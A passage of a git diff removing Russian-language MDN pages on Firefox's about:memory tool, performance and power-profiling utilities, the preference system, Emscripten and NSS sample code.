-│ │ └─────45,328 B (00.00%) ++ js-non-window/zones/zone(0x100496800)/compartment([System Principal], file:///Users/njn/Library/Application%20Support/Firefox/Profiles/puna0zr8.new/extensions/%7B59c81df5-4b7a-477b-912d-4e0fdf64e5f2%7D/components/chatzilla-service.js)
-│ └───1,872,144 B (00.19%) ++ treestyletab@piro.sakura.ne.jp/js-non-window/zones/zone(0x100496800)</pre>
-
-<p>Моменты, на которые стоит обратить внимание. </p>
-
-<ul>
- <li>Измерения некоторых дополнений, таких как Tree Style Tab, можно опознать по имени. Другие дополнения идентифицируются только по шестнадцатиричному идентификатору. На странице about:support вы можете узнать, к какому дополнению относится тот или иной идентификатор. Например, <code>59c81df5-4b7a-477b-912d-4e0fdf64e5f2</code> это Chatzilla.</li>
- <li>Вся используемая JavaScript память, относящаяся к дополнениям, показывается в этом дереве.</li>
- <li>Для дополнений, использующих отдельные окна, таких как Chatzilla, потребление памяти этими окнами также показывается в этом дереве.</li>
- <li>Для дополнений, использующих XUL overlays, таких как AdBlock Plus, потребление памяти этими overlays в данном дереве отображено не будет; вместо этого оно будет отображено в поддереве non-add-on и не будет идентифицировано как вызванное определенным дополнением.</li>
-</ul>
-
-<h4 id="Прочие_измерения_(Other_Measurements)">Прочие измерения (Other Measurements)</h4>
-
-<p>Этот раздел содержит деревья, которые в дереве "explicit" были урезаны и упрощены. Например, в дереве "explicit" все измерения DOM и layout были разбиты по окнам, но в секции Прочие измерения (Other Measurements) они собраны со всего браузера и сгруппированы, что и демонстрирует следующий пример.</p>
-
-<pre>26.77 MB (100.0%) -- window-objects
-├──14.59 MB (54.52%) -- layout
-│ ├───6.22 MB (23.24%) ── style-sets
-│ ├───4.00 MB (14.95%) ── pres-shell
-│ ├───1.79 MB (06.68%) ── frames
-│ ├───0.89 MB (03.33%) ── style-contexts
-│ ├───0.62 MB (02.33%) ── rule-nodes
-│ ├───0.56 MB (02.10%) ── pres-contexts
-│ ├───0.47 MB (01.75%) ── line-boxes
-│ └───0.04 MB (00.14%) ── text-runs
-├───6.53 MB (24.39%) ── style-sheets
-├───5.59 MB (20.89%) -- dom
-│ ├──3.39 MB (12.66%) ── element-nodes
-│ ├──1.56 MB (05.84%) ── text-nodes
-│ ├──0.54 MB (02.03%) ── other
-│ └──0.10 MB (00.36%) ++ (4 tiny)
-└───0.06 MB (00.21%) ── property-tables</pre>
-
-<p>Но некоторые деревья в этом разделе не включают в себя данные из дерева "explicit". К таким можно отнести "preference-service" из примера выше.</p>
-
-<p>В конце этого раздела находятся еденичные измерения:</p>
-
-<pre> 0.00 MB ── canvas-2d-pixels
- 5.38 MB ── gfx-surface-xlib
- 0.00 MB ── gfx-textures
- 0.00 MB ── gfx-tiles-waste
- 0 ── ghost-windows
- 109.22 MB ── heap-allocated
- 164 ── heap-chunks
- 1.00 MB ── heap-chunksize
- 114.51 MB ── heap-committed
- 164.00 MB ── heap-mapped
- 4.84% ── heap-overhead-ratio
- 1 ── host-object-urls
- 0.00 MB ── imagelib-surface-cache
- 5.27 MB ── js-main-runtime-temporary-peak
- 0 ── page-faults-hard
- 203,349 ── page-faults-soft
- 274.99 MB ── resident
- 251.47 MB ── resident-unique
-1,103.64 MB ── vsize</pre>
-
-<p>Среди этих измерений некоторые хочется выделить.</p>
-
-<ul>
- <li>"resident". Использование физической памяти. Если вам нужен один единственный параметр, обощающий использование памяти, то это, возможно, лучший вариант.</li>
- <li>"vsize". Использование виртульаной памяти. Зачастую бывает намного больше остальных измерений (особенно на Mac). Имеет значение только на 32-разрядных системах, например Win32. Существует также "vsize-max-contiguous" (измереяется не на всех платформах и в этом примере не показан), который показывает самый большой доступный фрагмент виртуального адрессного пространства. Если это число будет слишком маленьким, то довольно скоро попытка выделить память вызовет ошибку из-за недостатка виртуальной памяти.</li>
- <li>Различные измерения, связанные с графикой ("gfx-*"). Могут варьироваться между разными платформами. Графика часто является источником высокого использования памяти, так что эти измерения могут быть полезны для обнаружения таких случаев.</li>
-</ul>
-
-<h4 id="Система">Система</h4>
-
-<p>Этот раздел доступен только на Firefox OS. Он содержит все измерения устройства, полученные от операционной системы. Среди прочего, этот раздел бывает полезен для понимания как устройство использует память здесь и сейчас.</p>
diff --git a/files/ru/mozilla/performance/index.html b/files/ru/mozilla/performance/index.html
deleted file mode 100644
index a6f45c1158..0000000000
--- a/files/ru/mozilla/performance/index.html
+++ /dev/null
@@ -1,129 +0,0 @@
----
-title: Быстродействие
-slug: Mozilla/Performance
-tags:
- - TopicStub
- - Быстродействие
- - Производительность
- - Профайлер
- - Утечки памяти
- - Энергопотребление
-translation_of: Mozilla/Performance
----
-<p>Собранные здесь статьи помогут вам повысить быстродействие, если вы пишете исходный код ядра Mozilla или дополнения к нему.</p>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h3 id="Документация">Документация</h3>
-
- <dl>
- <dt><a href="/en/Performance/Reporting_a_Performance_Problem" title="en/Performance/Reporting_a_Performance_Problem">Reporting a Performance Problem</a></dt>
- <dd>Удобное для пользователя руководство по составлению отчетов по проблемам быстродействия. Среда разработки не требуется.</dd>
- <dt><a href="https://developer.mozilla.org/ru/Add-ons/%D0%A0%D0%B5%D0%BA%D0%BE%D0%BC%D0%B5%D0%BD%D0%B4%D0%B0%D1%86%D0%B8%D0%B8_%D0%BF%D0%BE_%D0%BF%D0%BE%D0%B2%D1%8B%D1%88%D0%B5%D0%BD%D0%B8%D1%8E_%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%BE%D0%B4%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8_%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D0%B9" title="en/Extensions/Performance best practices in extensions">Рекомендации по повышению производительности расширений</a></dt>
- <dd>Гайд по производительности для разработчиков дополнений.</dd>
- <dt><a href="/en/Performance/Measuring_add-on_startup_performance" title="en/Measuring Add-on Startup Performance">Measuring Add-on Startup Performance</a></dt>
- <dd>Гайд для разработчиков дополнений по настройке окружения для тестирования производительности.</dd>
- <dt><a href="/en/XUL_School/Appendix_A:_Add-on_Performance" title="en/XUL School/Appendix A: Add-on Performance">Школа XUL: Производительность дополнений</a></dt>
- <dd>Заметки для разработчиков дополнений для помощи в избежании ухудшения производительности приложений.</dd>
- <dt><a href="/en/Performance/GPU_performance" title="en/GPU performance">Производительность GPU</a></dt>
- <dd>Заметки для профилирования и улучшения производительности при использовании GPU.</dd>
- </dl>
-
- <p><span class="alllinks"><a class="internal" href="/Special:Tags?tag=Performance" title="Special:Tags?tag=Performance">Просмотреть все страницы с пометками «Производительность»...</a></span></p>
-
- <h3 id="Утилиты_профилирования_и_поиска_утечек">Утилиты профилирования и поиска утечек</h3>
-
- <dl>
- <dt><a href="/en-US/docs/Mozilla/Performance/about:memory">about:memory</a></dt>
- <dd>Страница about:memory - это простейший инструмент для измерения потребления памяти, и первое, с чего следует начинать при анализе. Позволяет выполнить относящиеся к памяти операции, такие как запуск сборщика мусора и сборщика циклических ссылок, сохранение дампа памяти сборщика мусора и сборщика циклических ссылок, сохранение дампа отчета DMD. Страница about:memory построена на верхнем уровне инфраструктуры <a href="/en-US/docs/Mozilla/Performance/Memory_reporting">отчетов памяти</a> Firefox.</dd>
- <dt><a href="/en-US/docs/Mozilla/Performance/DMD">Профайлер DMD</a></dt>
- <dd>DMD - это инструмент, который находит проблемные места на странице about:memory, и также может выполнять множество видов проверок кучи.</dd>
- <dt><a href="https://areweslimyet.com/">areweslimyet.com</a></dt>
- <dd>Сайт areweslimyet.com (аббревиатура AWSY), показывающий потребление памяти различными версиями сборок Firefox.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/BloatView">BloatView</a></dt>
- <dd>BloatView для каждого класса показывает статистику по выделенным блокам и ссылкам, а также общую величину объема памяти, подвергшегося утечке, с разбивкой по классам. Используется как часть процесса тестирования в непрерывной интеграции сборок Mozilla.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/Refcount_tracing_and_balancing">Трассировка и балансировка ссылок</a></dt>
- <dd>Трассировка и балансировка ссылок - это способы отслеживания утечек памяти, вызванных неправильным использованием механизма подсчета ссылок (reference counting). Эти способы медлительны и не просты в применении, поэтому больше подходят для опытных разработчиков.</dd>
- <dt><a href="/en-US/docs/Mozilla/Performance/GC_and_CC_logs">Логи сборщика мусора и сборщика циклических ссылок</a></dt>
- <dd>Логи сборщика мусора и сборщика циклических ссылок могут быть созданы и проанализированы разными способами. Например, они помогут вам понять, почему конкретный объект не был уничтожен и продолжает жить.</dd>
- <dt><a href="/en-US/docs/Mozilla/Testing/Valgrind">Valgrind</a></dt>
- <dd><a class="external text" href="http://valgrind.org/" rel="nofollow">Valgrind</a> - это инструмент, который выявляет различные связанные с памятью проблемы во время выполнения, включая утечки памяти. Valgring используется как <a class="external text" href="/en-US/docs/Valgrind_test_job" rel="nofollow">часть</a> процесса тестирования в непрерывной интеграции сборок Mozilla, однако покрытие кода тестами ограничено, так как Valgring медлителен.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer#LeakSanitizer">LeakSanitizer</a></dt>
- <dd><span class="external text">LeakSanitizer</span> (аббревиатура LSAN) - похож на Valgrind, но выполняется быстрее, потому что использует статический анализ исходного кода. LSAN является частью процесса тестирования в непрерывной интеграции сборок Mozilla, с множеством тестов, выполняющихся через него как часть тестовых задач инструмента AdressSanitizer (ASAN).</dd>
- <dt><a href="http://developer.apple.com/documentation/Performance/Conceptual/ManagingMemory/Articles/FindingLeaks.html">Инструменты Apple</a></dt>
- <dd>Apple предоставляет несколько интрументов для Mac OS X, которые выявляют проблемы, аналогичные выявляемым инструментами LSAN и Valgrind. Этот инструмент для выявления "утечек" не рекомендуется использовать с движком SpiderMonkey или браузером Firefox, потому что его запутывают меченые указатели (tagged pointers) и он думает, что объекты текут, когда это не так (подробнее см. <a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=390944" rel="nofollow">ошибку 390944</a>).</dd>
- <dt><a href="/en-US/docs/Mozilla/Performance/Leak_Gauge">Leak Gauge</a></dt>
- <dd>Leak Gauge - это инструмент, который может быть использован для выявления определенных видов утечек в движке Gecko, включая те, что связаны с документами, объектами окон, и docshell-ами.</dd>
- <dt><a href="http://dxr.mozilla.org/mozilla-central/source/memory/replace/logalloc/README">LogAlloc</a></dt>
- <dd>LogAlloc - это инструмент, с помощью которого можно получить лог дампа памяти движка Gecko. Этот лог можно впоследствии самостоятельно повторно воспроизвести на дефолтном распределителе памяти браузера Firefox или на другой библиотеке с измененной функцией выделения блоков памяти malloc, включая тестирование других выделенных блоков под точно такой же рабочей нагрузкой.</dd>
- </dl>
-
- <p>Смотрите также документацию <a href="/en-US/docs/Mozilla/Performance/Leak-hunting_strategies_and_tips">Стратегии и советы по выявлению утечек памяти</a>.</p>
- </td>
- <td>
- <h3 id="Профилировка_и_интрументы_анализа_производительности">Профилировка и интрументы анализа производительности</h3>
-
- <dl>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance" title="en/Performance/Profiling with the Built-in Profiler">Профилировка с помощью профайлера Developer Tools Profiler</a></dt>
- <dd>Профайлер, встроенный в инструментарий разработчика, включает в себя водопад высокого уровня (high-level waterfall), детализированное дерево вызовов, профилировку размещенных блоков памяти и профилировку сборщика мусора, а также графики пламени (flame graphs). Все это доступно на всех платформах и каналах релизов, а также поддерживает удаленную профилировку в операционной системе b2g (Boot to Gecko = Firefox OS) и профилировку браузера Fennec (версия Firefox, адаптированная для смартфонов).</dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Performance/Profiling_with_the_Built-in_Profiler" title="en/Performance/Profiling with the Built-in Profiler">Профилировка с помощью дополнения Gecko Profiler</a> {{ gecko_minversion_inline("16.0") }}</dt>
- <dd>Дополнение Gecko Profiler - хороший инструмент, с которого можно начать исследования.</dd>
- <dt><a href="/en/Performance/Profiling_with_Instruments" title="en/Performance/Profiling with Instruments">Профилировка с помощью Instruments</a></dt>
- <dd>Как использовать Instruments от компании Apple для профилировки кода Mozilla.</dd>
- <dt><a href="/en/Performance/Profiling_with_Xperf" title="en/Performance/Profiling with Xperf">Профилировка с помощью Xperf</a></dt>
- <dd>Как использовать утилиту Xperf от компании Microsoft для профилировки кода Mozilla.</dd>
- <dt><a href="/en/Performance/Profiling_with_Zoom" title="en/Performance/Profiling with Zoom">Профилировка с помощью Zoom</a></dt>
- <dd>Zoom - это профайлер под Linux от создателей профайлера Shark.</dd>
- <dt><a href="/en/Performance/Measuring_performance_using_the_PerfMeasurement.jsm_code_module" title="en/Performance/Measuring performance using the PerfMeasurement.jsm code module">Измерение производительности с помощью модуля PerfMeasurement.jsm</a> {{ gecko_minversion_inline("2.0") }}</dt>
- <dd>Использование модуля <a href="/en/JavaScript_code_modules/PerfMeasurement.jsm" title="en/JavaScript code modules/PerfMeasurement.jsm"><code>PerfMeasurement.jsm</code></a> для измерения характеристик производительности вашего кода JavaScript.</dd>
- <dt><a href="/en-US/docs/Performance/Adding_a_new_Telemetry_probe" title="https://developer.mozilla.org/en-US/docs/Performance/Adding_a_new_Telemetry_probe">Добавление нового датчика телеметрии</a></dt>
- <dd>Информация о том, как добавить в отчет о производительности системы телеметрии новую характеристику для измерения.</dd>
- <dt><a href="/en/Performance/Profiling_JavaScript_with_Shark" title="en/Performance/Profiling JavaScript with Shark">Профилировка JavaScript с помощью Shark</a> {{ gecko_minversion_inline("1.9") }}</dt>
- <dd>Как использовать профайлер Shark под Mac OS X для анализа кода JavaScript в браузере  Firefox 3.5 и более поздних версиях.</dd>
- <dt><a href="/en/Performance/Profiling_with_Shark" title="en/Performance/Profiling with Shark">Профилировка с помощью Shark</a></dt>
- <dd>Как использовать инструмент Shark от компании Apple для профилировки кода Mozilla.</dd>
- <dt><a href="/en-US/docs/Mozilla/Performance/Investigating_CSS_Performance">Исследование производительности каскадных таблиц стилей CSS</a></dt>
- <dd>Как выяснить, почему изменение стиля с помощью CSS занимает так много времени.</dd>
- </dl>
-
- <h3 id="Профилировка_энергопотребления">Профилировка энергопотребления</h3>
-
- <dl>
- <dt><a href="/en-US/docs/Mozilla/Performance/Power_profiling_overview">Общая информация о профилировке энергопотребления</a></dt>
- <dd>На этой странице предоставлен обзор важной информации, в том числе подробная информация о принципах работы аппаратного обеспечения, о том, какие характеристики можно измерять, какие методы рекомендуется использовать. Эта статья должна стать отправной точкой для тех, кто пока мало знаком с профилировкой энергопотребления.</dd>
- <dt><code><a href="/en-US/docs/Mozilla/Performance/tools_power_rapl">tools/power/rapl</a></code> (Mac, Linux)</dt>
- <dd><code>tools/power/rapl</code> - это консольная утилита в наборе исходных кодов Mozilla, которая использует интерфейс Intel RAPL для оценки энергопотребления пакета, ядер процессора, графического процессора и оперативной памяти.</dd>
- <dt><code><a href="/en-US/docs/Mozilla/Performance/powermetrics">powermetrics</a></code> (только для платформы Mac)</dt>
- <dd><code>powermetrics</code> - это консольная утилита, которая собирает и показывает целый ряд характеристик по всем имеющимся процессам и отдельно по каждому процессу, включая использование центрального процессора, графического процессора, и частоты пробуждения потоков процесса.</dd>
- <dt><a href="/en-US/docs/Mozilla/Performance/TimerFirings_logging">Журналирование TimerFirings</a> (Все платформы)</dt>
- <dd>Журналирование TimerFirings - это встроенный механизм записи событий для вывода на экран данных о каждом срабатывании таймера.</dd>
- <dt><code><a href="/en-US/docs/Mozilla/Performance/dtrace">dtrace</a></code> (только для платформы Mac)</dt>
- <dd><code>dtrace</code> - это мощный инструмент для профилировки пробуждений потоков процесса.</dd>
- <dt><a href="/en-US/docs/Mozilla/Performance/Activity_Monitor_and_top">Activity Monitor, меню Battery Status и консольная утилита <code>top</code></a> (Mac)</dt>
- <dd>Эти инструменты являются основными для пользователей Mac, которые рекомендуется изучить в первую очередь.</dd>
- <dt><a href="/en-US/docs/Mozilla/Performance/Intel_Power_Gadget">Intel Power Gadget</a> (Windows, Mac, Linux)</dt>
- <dd>Intel Power Gadget в режиме реального времени показывает графы для пакетов и RAPL-характеристики процессора. От также дает API, посредством которых эти характеристики могут быть получены.</dd>
- <dt><code><a href="/en-US/docs/Mozilla/Performance/perf">perf</a></code> (только для Linux)</dt>
- <dd><code>perf</code> - это мощная консольная утилита может измерять множество различных параметров, включая характеристики энергопотребления и пробуждения потоков процесса.</dd>
- <dt><code><a href="/en-US/docs/Mozilla/Performance/turbostat">turbostat</a></code> (только для Linux)</dt>
- <dd><code>turbostat</code> - это консольная утилита, которая собирает и показывает разные связанные с энергопотреблением характеристики, делая акцент на показателях по каждому отдельному процессору, таких как частоты и режимы энергопотребления процессора.</dd>
- <dt><code><a href="https://01.org/powertop">powertop</a></code> (только для Linux)</dt>
- <dd><code>powertop</code> - это интерактивная консольная утилита, который собирает и показвает разные связанные с энергопотреблением характеристики.</dd>
- </dl>
-
- <h3 id="Связанные_темы">Связанные темы</h3>
-
- <dl>
- <dd><a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, <a href="/En/Developer_Guide" title="en/Developing_Mozilla">Developing Mozilla</a>, <a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/Addons" title="en/Addons">Addons</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
diff --git a/files/ru/mozilla/preferences/index.html b/files/ru/mozilla/preferences/index.html
deleted file mode 100644
index 1169ecabf1..0000000000
--- a/files/ru/mozilla/preferences/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Preferences
-slug: Mozilla/Preferences
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Preferences
----
-<p>The preference system makes it possible to store data for Mozilla applications using a key/value pairing system. These articles provide information about how to use the preference system.</p>
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
- <dl>
- <dt><a href="/en-US/docs/Preferences/Preferences_system" title="Preferences/Preferences system">Preferences system</a></dt>
- <dd>An introduction to using the preference system in Mozilla.</dd>
- <dt><a href="/en-US/docs/XUL_School/Handling_Preferences" title="XUL School/Handling Preferences">XUL School: Handling preferences</a></dt>
- <dd>The XUL School tutorial chapter on preferences.</dd>
- <dt><a href="/en-US/docs/Preferences/Preference_reference" title="Preferences/Preference_reference">Mozilla preference reference</a></dt>
- <dd>A reference guide to all Mozilla preferences; currently a work in progress.</dd>
- <dt><a href="/en-US/docs/Preferences/A_brief_guide_to_Mozilla_preferences" title="Preferences/A brief guide to Mozilla preferences">A brief guide to Mozilla preferences</a></dt>
- <dd>An introductory guide to where preferences are stored and other useful information about the core preference system.</dd>
- <dt><a href="/en-US/docs/Preferences/Using_preferences_from_application_code" title="Preferences/Using preferences from application code">Using preferences from application code</a> {{gecko_minversion_inline("6.0")}}</dt>
- <dd>Firefox 6 introduced static functions for accessing preferences efficiently from within application code. This API is not available for add-ons, but if you're working on a Gecko application, this API is the preferred way to access preferences.</dd>
- <dt><a href="/en-US/docs/Preferences/Mozilla_networking_preferences" title="Preferences/Mozilla networking preferences">Mozilla networking preferences</a></dt>
- <dd>A guide to key networking-related preferences.</dd>
- <dt><a href="/en-US/docs/Preferences/Mozilla_preferences_for_uber-geeks" title="Preferences/Mozilla preferences for uber-geeks">Mozilla preferences for uber-geeks</a></dt>
- <dd>A guide to preferences that only truly elite geeks should play with.</dd>
- </dl>
- <p><span class="alllinks"><a href="/en-US/docs/tag/Preferences" title="tag/Preferences">View all pages tagged with "Preferences"...</a></span></p>
- </td>
- <td>
- <h2 class="Community" id="Examples" name="Examples">Examples</h2>
- <dl>
- <dt><a href="/en-US/docs/Code_snippets/Preferences" title="Code snippets/Preferences">Code snippets</a></dt>
- <dd>Preference-related code snippets.</dd>
- <dt><a href="/en-US/docs/Adding_preferences_to_an_extension" title="Adding preferences to an extension">Adding preferences to an extension</a></dt>
- <dd>How to add preferences to an existing extension.</dd>
- </dl>
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
- <ul>
- <li><a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a>, <a href="/en-US/docs/Extensions" title="Extensions">Extensions</a>, <a href="/en-US/docs/Developer_Guide" title="Developing_Mozilla">Developing Mozilla</a></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
diff --git a/files/ru/mozilla/preferences/preference_reference/index.html b/files/ru/mozilla/preferences/preference_reference/index.html
deleted file mode 100644
index 64af848546..0000000000
--- a/files/ru/mozilla/preferences/preference_reference/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Preference reference
-slug: Mozilla/Preferences/Preference_reference
-tags:
- - Mozilla
- - NeedsTranslation
- - Preferences
- - Reference
- - TopicStub
-translation_of: Mozilla/Preferences/Preference_reference
----
-<p>{{ draft() }}</p>
-
-<p>{{LandingPageListSubpages()}}</p>
diff --git a/files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html b/files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html
deleted file mode 100644
index d1955ccfda..0000000000
--- a/files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: javascript.options.showInConsole
-slug: Mozilla/Preferences/Preference_reference/javascript.options.showInConsole
-translation_of: Mozilla/Preferences/Preference_reference/javascript.options.showInConsole
----
-<p>Русский The preference <code>javascript.options.showInConsole</code> controls whether errors or warnings in chrome code are shown in the Error Console.</p>
-
-<ul style="display: table; padding: 0; border-left: 2px solid; margin-left: 0.5em;">
- <li style="display: table-row; padding: 3px; margin: 0;"><dfn>Type:</dfn><code>boolean</code></li>
- <li style="display: table-row; padding: 3px; margin: 0;"><dfn>Default value: </dfn> <code>false</code> (<code>true</code> in debug builds)</li>
- <li style="display: table-row; padding: 3px; margin: 0;"><dfn>Exists by default:</dfn> yes</li>
- <li style="display: table-row; padding: 3px; margin: 0;"><dfn>Application support:</dfn>Firefox 1.0</li>
- <li style="display: table-row; padding: 3px; margin: 0;"><dfn>Status:</dfn> Active</li>
- <li style="display: table-row; padding: 3px; margin: 0;"><dfn>Introduction:</dfn><a class="external text" href="http://bonsai.mozilla.org/cvsview2.cgi?diff_mode=context&amp;whitespace_mode=show&amp;file=consoleBindings.xml&amp;branch=&amp;root=/cvsroot&amp;subdir=mozilla/xpfe/components/console/resources/content&amp;command=DIFF_FRAMESET&amp;rev1=1.9&amp;rev2=1.10" rel="nofollow" title="http://bonsai.mozilla.org/cvsview2.cgi?diff_mode=context&amp;whitespace_mode=show&amp;file=consoleBindings.xml&amp;branch=&amp;root=/cvsroot&amp;subdir=mozilla/xpfe/components/console/resources/content&amp;command=DIFF_FRAMESET&amp;rev1=1.9&amp;rev2=1.10">2002-02-26</a></li>
- <li style="display: table-row; padding: 3px; margin: 0;"><dfn>Bugs:</dfn> {{ bug("125181") }} {{ bug("337875") }}</li>
-</ul>
-
-<h2 id="Values">Values</h2>
-
-<dl>
- <dt><code>false</code></dt>
- <dd>Only errors and warnings from content code are shown.</dd>
- <dt><code>true</code> (default)</dt>
- <dd>Errors and warnings from both chrome and content are shown in the Error Console.
- <div class="note">
- <p><strong>Note:</strong> Since the Web Console was introduced in Firefox 4 specifically for debugging content, the default value for this preference has changed to <code>true</code> as of {{Gecko ("2.0")}}.</p>
- </div>
- </dd>
-</dl>
-
-<h2 id="See_also">See also</h2>
-
-<p><a href="/en-US/docs/Setting_up_extension_development_environment" title="/en-US/docs/Setting_up_extension_development_environment">Setting up extension development environment</a></p>
diff --git a/files/ru/mozilla/projects/emscripten/index.html b/files/ru/mozilla/projects/emscripten/index.html
deleted file mode 100644
index 9c3777e2f5..0000000000
--- a/files/ru/mozilla/projects/emscripten/index.html
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Emscripten
-slug: Mozilla/Projects/Emscripten
-translation_of: Mozilla/Projects/Emscripten
----
-<p><span class="seoSummary">Emscripten </span>—<span class="seoSummary"> это транслятор LLVM в JavaScript. Он берёт LLVM байткод (полученный, к примеру, из исходного кода на C++ с помощью Clang) и преобразует его в JavaScript, который можно в дальнейшем  использовать в интернете.</span></p>
-
-<div class="warning">
-<p><strong>Важное замечание</strong>: Эта страница содержит краткое описание того, что такое Emscripten. Для этого, чтобы начать работу с Emscripten, воспользуйтесь <a href="http://kripken.github.io/emscripten-site/index.html/">официальной Emscripten WIki</a>.</p>
-</div>
-
-<p>С помощью Emscripten можно:</p>
-
-<ul>
- <li>Преобразовывать код на C и C++ в код на JavaScript.</li>
- <li>Преобразовать в JavaScript код на любом другом языке, который может быть транслирован в LLVM-байткод.</li>
- <li>Преобразовать среды исполнения других языков, написанные на C/C++, и запустить код, написанный на этих языках (это уже делалось для Python и Lua)!</li>
-</ul>
-
-<p>Emscripten позволяет сделать нативный код доступным для использования в Web: платформа, базирующаяся на стандартах, имеет независимые совместимые реализации и запускается везде, с персональных компьютеров до iPad. </p>
-
-<p>Используя Emscripten, разработчики C/C++ могут избежать портирования кода вручную на JavaScript - и даже избежать изучения JavaScript вовсе. Web-разработчики тоже выигрывают, так как они могут использовать много тысяч существующих нативных утилит и библиотек на своих сайтах.</p>
-
-<p>Практически любой переносимый код на C и C++ может быть скомпилирован в JavaScript c использованием Emscripten, начиная с высокопроизводительных игр, которые требуют прорисовки графики, проигрывают звуки и загружают и обрабатывают файлы, и заканчивая фреймворками для создания приложений, например, Qt.</p>
-
-<p>Emscripten генерирует быстрый код, его формат по-умолчанию — <a href="/en-US/docs/Games/Tools/asm.js">asm.js</a>, высокооптимизируемое подмножество JavaScript, которое во многих случаях может исполняться со скоростью, близкой к нативной.</p>
-
-<div class="note">
-<p><strong>Заметка</strong>: Звучит интересно? <a href="http://kripken.github.io/emscripten-site/docs/introducing_emscripten/about_emscripten.html">Прочитайте больше о Emscripten и посмотртите некоторые примеры</a>, или <a href="http://kripken.github.io/emscripten-site/docs/getting_started/index.html">начните использовать его прямо сейчас</a>.</p>
-</div>
-
-<h2 id="Other_articles_of_interest_on_MDN">Other articles of interest on MDN</h2>
-
-<ul>
- <li>Our <a href="/en-US/docs/Games">Games zone</a> contains some useful content related to games development, which is a common area of use for Emscripten.</li>
- <li>Our <a href="/en-US/docs/Mozilla/Projects/Emscripten/Techniques">Emscripten techniques</a> page is a place to store useful Emscripten-related ideas that haven't made it onto the Emscripten Wiki.</li>
-</ul>
diff --git a/files/ru/mozilla/projects/index.html b/files/ru/mozilla/projects/index.html
deleted file mode 100644
index c1e43934a2..0000000000
--- a/files/ru/mozilla/projects/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Projects
-slug: Mozilla/Projects
-tags:
- - Mozilla
- - NeedsContent
- - NeedsTranslation
- - Projects
- - TopicStub
-translation_of: Mozilla/Projects
----
-<p>{{ draft() }}</p>
-<p>Below you'll find links to documentation about various Mozilla projects; these are often parts of Firefox or other products, but may also be used in other projects as well.</p>
-<p>{{ LandingPageListSubpages() }}</p>
diff --git a/files/ru/mozilla/projects/nss/nss_sample_code/index.html b/files/ru/mozilla/projects/nss/nss_sample_code/index.html
deleted file mode 100644
index 2bc6d0e4fc..0000000000
--- a/files/ru/mozilla/projects/nss/nss_sample_code/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: NSS Sample Code
-slug: Mozilla/Projects/NSS/NSS_Sample_Code
-tags:
- - Example
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Projects/NSS/NSS_Sample_Code
----
-<h2 id="NSS_Sample_Code">NSS Sample Code</h2>
-
-<p>The collection of sample code here demonstrates how NSS can be used for cryptographic operations, certificate handling, SSL, etc. It also demonstrates some best practices in the application of cryptography.</p>
-
-<p>Old samples in the process of being replaced.</p>
-
-<ol>
- <li><a href="nss_sample_code/NSS_Sample_Code_Sample1">Sample Code 1: Key Generation and Transport Between Servers</a></li>
- <li><a href="nss_sample_code/NSS_Sample_Code_sample2">Sample Code 2: Symmetric Encryption</a></li>
- <li><a href="nss_sample_code/NSS_Sample_Code_sample3">Sample Code 3: Hashing, MAC</a></li>
- <li><a href="nss_sample_code/NSS_Sample_Code_sample4">Sample Code 4: PKI Encryption</a></li>
- <li><a href="nss_sample_code/NSS_Sample_Code_sample5">Sample Code 5: PKI Encryption with a raw public &amp; private key in DER format</a></li>
- <li><a href="nss_sample_code/NSS_Sample_Code_sample6">Sample Code 6: Persistent Symmetric Keys in NSS database</a></li>
-</ol>
-
-<p><br>
- These are very old examples in need of replacement. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=490238">https://bugzilla.mozilla.org/show_bug.cgi?id=490238</a></p>
-
-<p>You are welcome to download the new samples via:</p>
-
-<pre class="bz_comment_text" id="comment_text_42">hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update SAMPLES_BRANCH
-</pre>
-
-<p>The new samples: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/New_NSS_Samples">https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/New_NSS_Samples</a></p>
diff --git a/files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html b/files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html
deleted file mode 100644
index d3a5983c84..0000000000
--- a/files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html
+++ /dev/null
@@ -1,255 +0,0 @@
----
